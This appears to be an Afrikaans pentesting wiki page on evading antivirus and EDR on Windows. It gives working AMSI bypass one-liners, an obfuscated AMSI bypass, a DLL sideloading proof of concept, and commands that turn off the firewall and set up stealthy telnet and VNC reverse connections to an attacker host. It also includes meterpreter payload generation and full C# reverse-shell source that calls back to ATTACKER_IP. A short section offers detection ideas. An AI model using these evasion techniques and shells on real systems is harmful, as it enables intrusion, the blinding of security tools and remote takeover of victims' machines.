Antivirus (AV) Omseiling

Reading time: 40 minutes

Hierdie bladsy is geskryf deur @m2rc_p!

Stop Defender

• defendnot: 'n hulpmiddel om Windows Defender se werking te stop.
• no-defender: 'n hulpmiddel om Windows Defender se werking te stop deur 'n ander AV na te boots.
• Disable Defender if you are admin

AV Ontduikingsmetodologie

Tans gebruik AV's verskillende metodes om te bepaal of 'n lêer kwaadwillig is of nie: statiese deteksie, dinamiese analise, en vir die meer gevorderde EDRs, gedragsanalise.

Statiese deteksie

Statiese deteksie word bereik deur bekende kwaadwillige stringe of bytes in 'n binêr of skrip te flag, en ook deur inligting uit die lêer self te onttrek (bv. file description, company name, digital signatures, icon, checksum, ens.). Dit beteken dat die gebruik van bekende publieke tools jou makliker kan laat vasloop, aangesien hulle waarskynlik al ontleed en as kwaadwillig aangeteken is. Daar is 'n paar maniere om hierdie soort deteksie te omseil:

• Enkripsie

As jy die binêr enkripteer, sal daar geen manier wees vir AV om jou program te herken nie, maar jy sal 'n soort loader nodig hê om die program in geheue te deskripteer en uit te voer.

• Obfuskasie

Soms is dit genoeg om net sekere stringe in jou binêr of skrip te verander om dit verby AV te kry, maar dit kan tydrowend wees afhangend van wat jy probeer obfuskeer.

• Pasgemaakte gereedskap

As jy jou eie tools ontwikkel, sal daar geen bekende slegte signature wees nie, maar dit verg baie tyd en moeite.

Ek beveel sterk aan dat jy hierdie YouTube playlist oor praktiese AV Evasion nagaan.

Dinamiese analise

Dinamiese analise is wanneer die AV jou binêr in 'n sandbox laat loop en kyk na kwaadwillige aktiwiteit (bv. probeer om jou blaaier se wagwoorde te ontsleutel en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan bietjie moeilik wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandbokse te ontduik.

• Wag (sleep) voor uitvoering Afhangend van hoe dit geïmplementeer is, kan dit 'n goeie manier wees om AV se dinamiese analise te omseil. AV's het 'n baie kort tyd om lêers te scan om nie die gebruiker se werkvloei te onderbreek nie, so die gebruik van lang sleeps kan die analise van binêre lêers ontwrig. Die probleem is dat baie AV-sandboxe die slaap eenvoudig kan oorslaan, afhangend van hoe dit geïmplementeer is.
• Kontroleer masjien se hulpbronne Gewoonlik het Sandboxes baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders sou hulle die gebruiker se masjien vertraag. Jy kan hier ook baie kreatief wees, byvoorbeeld deur die CPU se temperatuur of selfs die waaierafsetlae (fan speeds) na te gaan; nie alles sal in die sandbox geïmplementeer wees nie.
• Masjien-spesifieke kontroles As jy 'n gebruiker wil teiken wie se werkstasie aan die "contoso.local" domein behoort, kan jy 'n kontrole doen op die rekenaar se domein om te sien of dit met die een wat jy gespesifiseer het ooreenstem; as dit nie ooreenstem nie, kan jy jou program laat beëindig.

Dit blyk dat Microsoft Defender se Sandbox se computername HAL9TH is, so jy kan vir die computer name in jou malware kontroleer voor detonering; as die naam HAL9TH ooreenstem, beteken dit jy is binne Defender se sandbox, en dan kan jy jou program laat afsluit.

Sommige ander baie goeie wenke van @mgeeky vir die benadering teen Sandboxes

Soos ons vroeër gesê het in hierdie pos, sal publieke tools uiteindelik gedetecteer word, so jy moet jouself iets afvra:

Byvoorbeeld, as jy LSASS wil dump, moet jy regtig mimikatz gebruik? Of kan jy 'n ander projek gebruik wat minder bekend is en ook LSASS dump?

Die regte antwoord is waarskynlik die laasgenoemde. Neem mimikatz as 'n voorbeeld — dit is waarskynlik een van, indien nie die mees ge-flagte stuk malware deur AVs en EDRs nie; alhoewel die projek self baie cool is, is dit ook 'n nagmerrie om daarmee te werk om rond AV's te kom, so kyk eerder na alternatiewe vir wat jy probeer bereik.

EXEs vs DLLs

Wanneer dit moontlik is, prioritiseer altyd die gebruik van DLLs vir ontduiking; uit my ervaring word DLL-lêers gewoonlik baie minder gedetecteer en ontleed, so dit is 'n baie eenvoudige truuk om in sekere gevalle deteksie te vermy (as jou payload natuurlik 'n manier het om as 'n DLL uitgevoer te word).

Soos ons in hierdie beeld kan sien, het 'n DLL Payload van Havoc 'n deteksiekoers van 4/26 op antiscan.me, terwyl die EXE payload 'n 7/26 deteksiekoers het.

Nou wys ons 'n paar truuks wat jy met DLL-lêers kan gebruik om baie meer onopvallend te wees.

DLL Sideloading & Proxying

DLL Sideloading maak voordeel van die DLL-soekorde wat deur die loader gebruik word deur die slagoffer aansoek en die kwaadwillige payload(s) langs mekaar te posisioneer.

Jy kan programme nagaan wat vatbaar is vir DLL Sideloading met Siofra en die volgende powershell skrip:

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

Hierdie opdrag sal die lys van programme wat vatbaar is vir DLL hijacking binne "C:\Program Files\" en die DLL files wat hulle probeer laai, uitset.

Ek beveel sterk aan dat jy DLL Hijackable/Sideloadable programs self verken, hierdie tegniek is redelik onopvallend as dit behoorlik toegepas word, maar as jy publiek-bekende DLL Sideloadable programs gebruik, kan jy maklik gevang word.

Net deur 'n skadelike DLL te plaas met die naam wat 'n program verwag om te laai, sal nie noodwendig jou payload laai nie, want die program verwag sekere spesifieke funksies binne daardie DLL; om hierdie probleem reg te stel, sal ons 'n ander tegniek gebruik wat DLL Proxying/Forwarding genoem word.

DLL Proxying stuur die oproepe wat 'n program maak vanaf die proxy (en skadelike) DLL na die oorspronklike DLL deur, waardeur die program se funksionaliteit behoue bly en jy in staat is om die uitvoering van jou payload te hanteer.

Ek gaan die SharpDLLProxy project van @flangvik gebruik

Dit is die stappe wat ek gevolg het:

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

Die laaste opdrag sal ons 2 lêers gee: 'n DLL-bronkode-sjabloon, en die oorspronklike hernoemde DLL.

Albei ons shellcode (encoded with SGN) en die proxy DLL het 'n 0/26 deteksiesyfer op antiscan.me! Ek sou dit 'n sukses noem.

Misbruik van Forwarded Exports (ForwardSideLoading)

Windows PE-modules kan funksies exporteer wat eintlik "forwarders" is: in plaas daarvan om na kode te wys, bevat die export entry 'n ASCII string van die vorm TargetDll.TargetFunc. Wanneer 'n oproeper die export oplos, sal die Windows loader:

• Laai TargetDll as dit nie reeds gelaai is nie
• Los TargetFunc daaruit op

Belangrike gedrag om te verstaan:

• As TargetDll 'n KnownDLL is, word dit verskaf vanuit die beskermde KnownDLLs namespace (bv. ntdll, kernelbase, ole32).
• Indien TargetDll nie 'n KnownDLL is nie, word die normale DLL-soekorde gebruik, wat die gids insluit van die module wat die forward-resolusie uitvoer.

Dit maak 'n indirekte sideloading-primitive moontlik: vind 'n gesigneerde DLL wat 'n funksie eksporteer wat doorgestuur word na 'n nie-KnownDLL modulenaam, en plaas daardie gesigneerde DLL saam in dieselfde gids as 'n deur 'n aanvaller beheerde DLL wat presies dieselfde naam het as die forwarded target module. Wanneer die forwarded export aangeroep word, los die loader die forward op en laai jou DLL vanaf dieselfde gids, wat jou DllMain uitvoer.

Voorbeeld waargeneem op Windows 11:

keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface

NCRYPTPROV.dll is nie 'n KnownDLL nie, dus word dit opgelos volgens die normale soekorde.

PoC (copy-paste):

1. Kopieer die gesigneerde stelsel-DLL na 'n skryfbare gids

copy C:\Windows\System32\keyiso.dll C:\test\

2. Plaas 'n kwaadwillige NCRYPTPROV.dll in dieselfde vouer. 'n Minimale DllMain is genoeg om kode-uitvoering te kry; jy hoef nie die doorgestuurde funksie te implementeer om DllMain te aktiveer nie.

// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved){
if (reason == DLL_PROCESS_ATTACH){
HANDLE h = CreateFileA("C\\\\test\\\\DLLMain_64_DLL_PROCESS_ATTACH.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&w,NULL); CloseHandle(h);}
}
return TRUE;
}

3. Ontlok die forward met 'n gesigneerde LOLBin:

rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface

Waargenome gedrag:

• rundll32 (gesigneer) laai die side-by-side keyiso.dll (gesigneer)
• Terwyl dit KeyIsoSetAuditingInterface oplos, volg die lader die forward na NCRYPTPROV.SetAuditingInterface
• Die lader laai dan NCRYPTPROV.dll vanaf C:\test en voer sy DllMain uit
• As SetAuditingInterface nie geïmplementeer is nie, kry jy slegs 'n "missing API" fout nadat DllMain reeds geloop het

Jagwenke:

• Fokus op forwarded exports waar die teikenmodule nie 'n KnownDLL is nie. KnownDLLs word gelys onder HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs.
• Jy kan forwarded exports opnoem met gereedskap soos:

dumpbin /exports C:\Windows\System32\keyiso.dll
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface

• Sien die Windows 11 forwarder-inventaris om na kandidate te soek: https://hexacorn.com/d/apis_fwd.txt

Opsporings-/verdedigingsidees:

• Monitor LOLBins (bv., rundll32.exe) wat gesigneerde DLLs van nie-stelselpaaie laai, gevolg deur die laai van nie-KnownDLLs met dieselfde basisnaam uit daardie gids
• Waarsku op proses-/modulekettings soos: rundll32.exe → nie-stelsel keyiso.dll → NCRYPTPROV.dll onder gebruikerskryfbare paaie
• Handhaaf code-integriteitsbeleide (WDAC/AppLocker) en weier skryf+uitvoer in toepassingsgidse

Freeze

Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods

Jy kan Freeze gebruik om jou shellcode op 'n onopvallende wyse te laai en uit te voer.

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

AMSI (Anti-Malware Scan Interface)

AMSI is geskep om "fileless malware" te voorkom. Aanvanklik kon AVs slegs files on disk skandeer, so as jy op een of ander manier payloads directly in-memory kon uitvoer, kon die AV niks doen nie omdat dit nie genoeg sigbaarheid gehad het.

The AMSI feature is integrated into these components of Windows.

• User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
• PowerShell (scripts, interactive use, and dynamic code evaluation)
• Windows Script Host (wscript.exe and cscript.exe)
• JavaScript and VBScript
• Office VBA macros

Dit laat antivirus-oplossings toe om skripgedrag te inspekteer deur skripinhoud beskikbaar te stel in 'n vorm wat nie gekodeer of obfuskeer is nie.

Running IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') will produce the following alert on Windows Defender.

Let daarop hoe dit amsi: voorvoeg en dan die pad na die uitvoerbare lêer waarvan die skrip gehardloop het, in hierdie geval, powershell.exe

Ons het niks na die skyf geskryf nie, maar is steeds in-memory vasgevang vanweë AMSI.

Verder, beginend met .NET 4.8, word C# kode ook deur AMSI geloop. Dit beïnvloed selfs Assembly.Load(byte[]) vir in-memory uitvoering. Daarom word dit aanbeveel om laer weergawes van .NET (soos 4.7.2 of laer) te gebruik vir in-memory uitvoering as jy AMSI wil ontduik.

Daar is 'n paar maniere om rondom AMSI te werk:

• Obfuscation

Aangesien AMSI hoofsaaklik met static detections werk, kan dit 'n goeie manier wees om die skripte wat jy probeer laai te wysig om detectie te ontduik.

AMSI het egter die vermoë om skripte te de-obfuskeer selfs al het dit meerdere lae, so obfuscation kan 'n slegte opsie wees, afhangend van hoe dit gedoen word. Dit maak dit nie altyd reguit om te ontduik nie. Soms hoef jy net 'n paar veranderlike name te verander en jy is reg, so dit hang daarvan af hoe ernstig iets gemerk is.

• AMSI Bypass

Aangesien AMSI geïmplementeer word deur 'n DLL in die powershell (ook cscript.exe, wscript.exe, ens.) proses te laad, is dit moontlik om dit maklik te manipuleer, selfs terwyl jy as 'n ongereguleerde gebruiker werk. As gevolg van hierdie tekortkoming in die implementering van AMSI, het navorsers verskeie maniere gevind om AMSI-skandering te ontduik.

Forcing an Error

Forcing the AMSI initialization to fail (amsiInitFailed) will result that no scan will be initiated for the current process. Originally this was disclosed by Matt Graeber and Microsoft has developed a signature to prevent wider usage.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Al wat dit geverg het, was een reël powershell-kode om AMSI onbruikbaar te maak vir die huidige powershell-proses. Hierdie reël is natuurlik deur AMSI self gevlag, so 'n aanpassing is nodig om hierdie tegniek te gebruik.

Hier is 'n aangepaste AMSI bypass wat ek geneem het van hierdie Github Gist.

Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

Hou in gedagte dat dit waarskynlik gevlag sal word sodra hierdie pos uitkom, so moet jy geen kode publiseer as jou plan is om onopgemerk te bly.

Memory Patching

Hierdie tegniek is aanvanklik ontdek deur @RastaMouse en dit behels die vind van die adres vir die "AmsiScanBuffer" funksie in amsi.dll (verantwoordelik vir die skandering van die user-supplied input) en dit oorskryf met instruksies om die kode vir E_INVALIDARG terug te gee; op hierdie manier sal die uitslag van die werklike skandering 0 teruggee, wat as 'n skoon resultaat geïnterpreteer word.

Daar is ook baie ander tegnieke wat gebruik word om AMSI met powershell te omseil — kyk na this page en this repo om meer daaroor te leer.

Hierdie hulpmiddel https://github.com/Flangvik/AMSI.fail genereer ook 'n skrip om AMSI te omseil.

Verwyder die gedetekteerde handtekening

Jy kan 'n hulpmiddel soos https://github.com/cobbr/PSAmsi en https://github.com/RythmStick/AMSITrigger gebruik om die gedetekteerde AMSI-handtekening uit die geheue van die huidige proses te verwyder. Hierdie hulpmiddel werk deur die geheue van die huidige proses vir die AMSI-handtekening te skandeer en dit dan met NOP-instruksies oor te skryf, wat dit effektief uit die geheue verwyder.

AV/EDR products that uses AMSI

Jy kan 'n lys van AV/EDR-produkte wat AMSI gebruik vind by https://github.com/subat0mik/whoamsi.

Gebruik Powershell weergawe 2 As jy PowerShell weergawe 2 gebruik, sal AMSI nie gelaai word nie, sodat jy jou skripte kan uitvoer sonder dat AMSI dit skandeer. Jy kan dit so doen:

powershell.exe -version 2

PS Logging

PowerShell logging is a feature that allows you to log all PowerShell commands executed on a system. This can be useful for auditing and troubleshooting purposes, but it can also be a problem for attackers who want to evade detection.

To bypass PowerShell logging, you can use the following techniques:

• Disable PowerShell Transcription and Module Logging: Jy kan 'n instrument soos https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs hiervoor gebruik.
• Use Powershell version 2: As jy PowerShell version 2 gebruik, sal AMSI nie gelaai word nie, so jy kan jou skripte laat loop sonder om deur AMSI geskan te word. Jy kan dit doen: powershell.exe -version 2
• Use an Unmanaged Powershell Session: Gebruik https://github.com/leechristensen/UnmanagedPowerShell om 'n powershell te spawn sonder verdediging (dit is wat powerpick from Cobal Strike uses).

Obfuscation

Deobfuscating ConfuserEx-Protected .NET Binaries

When analysing malware that uses ConfuserEx 2 (or commercial forks) it is common to face several layers of protection that will block decompilers and sandboxes. The workflow below reliably restores a near–original IL that can afterwards be decompiled to C# in tools such as dnSpy or ILSpy.

1. Anti-tampering removal – ConfuserEx encrypts every method body and decrypts it inside the module static constructor (<Module>.cctor). This also patches the PE checksum so any modification will crash the binary. Use AntiTamperKiller to locate the encrypted metadata tables, recover the XOR keys and rewrite a clean assembly:

# https://github.com/wwh1004/AntiTamperKiller
python AntiTamperKiller.py Confused.exe Confused.clean.exe

Output contains the 6 anti-tamper parameters (key0-key3, nameHash, internKey) that can be useful when building your own unpacker.

2. Symbol / control-flow recovery – feed the clean file to de4dot-cex (a ConfuserEx-aware fork of de4dot).

de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe

Flags: • -p crx – kies die ConfuserEx 2 profile • de4dot sal control-flow flattening ongedaan maak, oorspronklike namespaces, classes en veranderlike name herstel en konstante stringe dekripteer.

3. Proxy-call stripping – ConfuserEx replaces direct method calls with lightweight wrappers (a.k.a proxy calls) to further break decompilation. Remove them with ProxyCall-Remover:

ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe

After this step you should observe normal .NET API such as Convert.FromBase64String or AES.Create() instead of opaque wrapper functions (Class8.smethod_10, …).

4. Manual clean-up – run the resulting binary under dnSpy, search for large Base64 blobs or RijndaelManaged/TripleDESCryptoServiceProvider use to locate the real payload. Often the malware stores it as a TLV-encoded byte array initialised inside <Module>.byte_0.

The above chain restores execution flow without needing to run the malicious sample – useful when working on an offline workstation.

🛈 ConfuserEx produces a custom attribute named ConfusedByAttribute that can be used as an IOC to automatically triage samples.

One-liner

autotok.sh Confused.exe  # wrapper that performs the 3 steps above sequentially

• InvisibilityCloak: C# obfuscator
• Obfuscator-LLVM: Die doel van hierdie projek is om 'n open-source fork van die LLVM compilation suite te verskaf wat verhoogde sagteware-sekuriteit deur middel van code obfuscation en tamper-proofing moontlik maak.
• ADVobfuscator: ADVobfuscator demonstreer hoe om die C++11/14 taal te gebruik om, tydens die kompileerfase, obfuscated code te genereer sonder om enige eksterne hulpmiddel te gebruik en sonder om die compiler te wysig.
• obfy: Voeg 'n laag obfuscated operations by wat deur die C++ template metaprogramming framework gegenereer word, wat die lewe van iemand wat die toepassing wil crack 'n bietjie moeiliker sal maak.
• Alcatraz: Alcatraz is 'n x64 binary obfuscator wat verskeie verskillende pe files kan obfuscate, insluitend: .exe, .dll, .sys
• metame: Metame is 'n eenvoudige metamorphic code engine vir arbitraire executables.
• ropfuscator: ROPfuscator is 'n fine-grained code obfuscation framework vir LLVM-supported languages wat ROP (return-oriented programming) gebruik. ROPfuscator obfuscates 'n program op assembly code vlak deur gewone instruksies te transformeer in ROP chains, wat ons natuurlike begrip van normale control flow frustreer.
• Nimcrypt: Nimcrypt is 'n .NET PE Crypter geskryf in Nim
• inceptor: Inceptor kan bestaande EXE/DLL in shellcode omskakel en dit dan laai

SmartScreen & MoTW

You may have seen this screen when downloading some executables from the internet and executing them.

Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications.

SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway).

MoTW (Mark of The Web) is an NTFS Alternate Data Stream with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from.

A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) cannot be applied to non NTFS volumes.

PackMyPayload is a tool that packages payloads into output containers to evade Mark-of-the-Web.

Voorbeeldgebruik:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

Hier is 'n demo om SmartScreen te omseil deur payloads binne ISO-lêers te verpak met PackMyPayload

ETW

Event Tracing for Windows (ETW) is 'n kragtige logmeganisme in Windows wat toepassings en stelselkomponente toelaat om events te log. Dit kan egter ook deur sekuriteitsprodukte gebruik word om kwaadaardige aktiwiteite te monitor en te bespeur.

Soos met hoe AMSI gedeaktiveer (omseil) kan word, is dit ook moontlik om die EtwEventWrite funksie van 'n user space proses onmiddellik te laat terugkeer sonder om enige events te log. Dit word bereik deur die funksie in geheue te patch sodat dit onmiddellik terugkeer, en effektief ETW-logging vir daardie proses uit te skakel.

Jy kan meer inligting vind by https://blog.xpnsec.com/hiding-your-dotnet-etw/ and https://github.com/repnz/etw-providers-docs/.

C# Assembly Reflection

Loading C# binaries in memory is al vir 'n geruime tyd bekend en dit is steeds 'n uitstekende manier om jou post-exploitation tools te laat loop sonder om deur AV uitgehaal te word.

Aangesien die payload direk in geheue gelaai sal word sonder om die skyf te raak, hoef ons net bekommerd te wees oor die patching van AMSI vir die hele proses.

Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) bied reeds die vermoë om C# assemblies direk in geheue uit te voer, maar daar is verskillende maniere om dit te doen:

• Fork&Run

Dit behels die spawning van 'n nuwe offerproses, inbedding van jou post-exploitation kwaadwillige kode in daardie nuwe proses, die uitvoering van jou kwaadaardige kode en, wanneer klaar, die nuwe proses te beëindig. Dit het beide voordele en nadele. Die voordeel van die fork-and-run metode is dat uitvoering buite ons Beacon implant proses plaasvind. Dit beteken dat as iets by ons post-exploitation aksie verkeerd gaan of gevang word, daar 'n veel groter kans is dat ons implant oorleef. Die nadeel is dat jy 'n groter kans het om deur Behavioural Detections gevang te word.

• Inline

Dit gaan oor die inbedding van die post-exploitation kwaadwillige kode in sy eie proses. Op hierdie manier kan jy vermy om 'n nuwe proses te skep wat deur AV geskan word, maar die nadeel is dat as iets verkeerd gaan met die uitvoering van jou payload, daar 'n groter kans is om jou beacon te verloor aangesien dit kan crash.

Jy kan ook C# Assemblies from PowerShell laai; kyk na Invoke-SharpLoader en S3cur3th1sSh1t's video.

Using Other Programming Languages

Soos voorgestel in https://github.com/deeexcee-io/LOI-Bins, is dit moontlik om kwaadwillige kode in ander tale uit te voer deur die gekompromitteerde masjien toegang te gee tot die interpreter-omgewing wat op die Attacker Controlled SMB share geïnstalleer is.

Deur toegang tot die Interpreter Binaries en die omgewing op die SMB share toe te laat, kan jy arbitrêre kode in hierdie tale binne die geheue van die gekompromitteerde masjien uitvoer.

Die repo dui aan: Defender scan steeds die skripte, maar deur Go, Java, PHP ens. te gebruik het ons meer buigbaarheid om statiese signatures te omseil. Toetse met ewekansige on-geobfuskate reverse shell skripte in hierdie tale het sukses getoon.

TokenStomping

Token stomping is 'n tegniek wat 'n aanvaller toelaat om die toegangstoken of 'n sekuriteitsproduk soos 'n EDR of AV te manipuleer, sodat hulle die privilegies kan verminder; die proses sal nie sterf nie, maar sal nie die permisies hê om na kwaadwillige aktiwiteite te kyk nie.

Om dit te voorkom, kan Windows verhoed dat eksterne prosesse handvatsels oor die tokens van sekuriteitsprosesse kry.

• https://github.com/pwn1sher/KillDefender/
• https://github.com/MartinIngesen/TokenStomp
• https://github.com/nick-frischkorn/TokenStripBOF

Using Trusted Software

Chrome Remote Desktop

Soos beskryf in this blog post, is dit maklik om net Chrome Remote Desktop op 'n slagoffer se rekenaar te ontplooi en dit te gebruik om dit oor te neem en persistensie te behou:

1. Download vanaf https://remotedesktop.google.com/, klik op "Set up via SSH", en klik dan op die MSI-lêer vir Windows om die MSI-lêer af te laai.
2. Run die installer stil in die slagoffer (admin required): msiexec /i chromeremotedesktophost.msi /qn
3. Gaan terug na die Chrome Remote Desktop bladsy en klik next. Die wizard sal jou dan vra om te authorize; klik die Authorize knoppie om voort te gaan.
4. Execute die gegewe parameter met 'n paar aanpassings: "%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111 (Let op die pin parameter wat toelaat om die pin te stel sonder om die GUI te gebruik).

Advanced Evasion

Evasion is 'n baie ingewikkelde onderwerp; soms moet jy baie verskillende bronne van telemetrie in een stelsel in ag neem, so dit is praktisch onmoontlik om volkome onopgemerk te bly in volwasse omgewings.

Elke omgewing wat jy teëkom sal sy eie sterktes en swakhede hê.

Ek moedig jou sterk aan om hierdie talk van @ATTL4S te kyk, om 'n voete in meer Advanced Evasion tegnieke te kry.

[NcN2k20] Understanding and Hiding your Operations - Daniel L&oacute;pez Jim&eacute;nez

Hier is ook nog 'n baie goeie talk van @mariuszbit oor Evasion in Depth.

- YouTube

Old Techniques

Check which parts Defender finds as malicious

Jy kan ThreatCheck gebruik wat dele van die binary verwyder totdat dit uitvind watter deel Defender as kwaadwillig beskou en dit aan jou uiteensit.
Nog 'n hulpmiddel wat dieselfde doen is avred met 'n oop webdiens by https://avred.r00ted.ch/

Telnet Server

Tot en met Windows10 het alle Windows weergawes 'n Telnet server meegebring wat jy as administrateur kon installeer deur:

pkgmgr /iu:"TelnetServer" /quiet

Laat dit begin wanneer die stelsel begin en voer dit nou uit:

sc config TlntSVR start= auto obj= localsystem

Verander telnet port (stealth) en skakel firewall af:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

Laai dit af vanaf: http://www.uvnc.com/downloads/ultravnc.html (jy wil die bin downloads hê, nie die setup nie)

ON THE HOST: Execute winvnc.exe en konfigureer die server:

• Skakel die opsie Disable TrayIcon in
• Stel 'n wagwoord in by VNC Password
• Stel 'n wagwoord in by View-Only Password

Skuif dan die binêre winvnc.exe en die nuut geskepte lêer UltraVNC.ini na die victim

Reverse connection

Die attacker moet op sy host die binêre vncviewer.exe -listen 5900 uitvoer, sodat dit gereed is om 'n omgekeerde VNC connection op te vang. Dan, op die victim: Begin die winvnc-demon winvnc.exe -run en voer winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900 uit

WAARSKUWING: Om stealth te behou, moet jy nie die volgende doen nie

• Moet nie winvnc begin as dit reeds loop nie of jy sal 'n popup aktiveer. Kontroleer of dit loop met tasklist | findstr winvnc
• Moet nie winvnc sonder UltraVNC.ini in dieselfde gids begin nie, anders sal dit die config window oopmaak
• Moet nie winvnc -h vir hulp uitvoer nie, anders sal jy 'n popup veroorsaak

GreatSCT

Laai dit af vanaf: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

Binne GreatSCT:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

Nou begin die lister met msfconsole -r file.rc en voer die xml payload uit met:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

Huidige Defender sal die proses baie vinnig beëindig.

Kompileer ons eie reverse shell

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

Eerste C# Revershell

Kompileer dit met:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

Gebruik dit met:

back.exe <ATTACKER_IP> <PORT>

// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

C# wat die compiler gebruik

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066

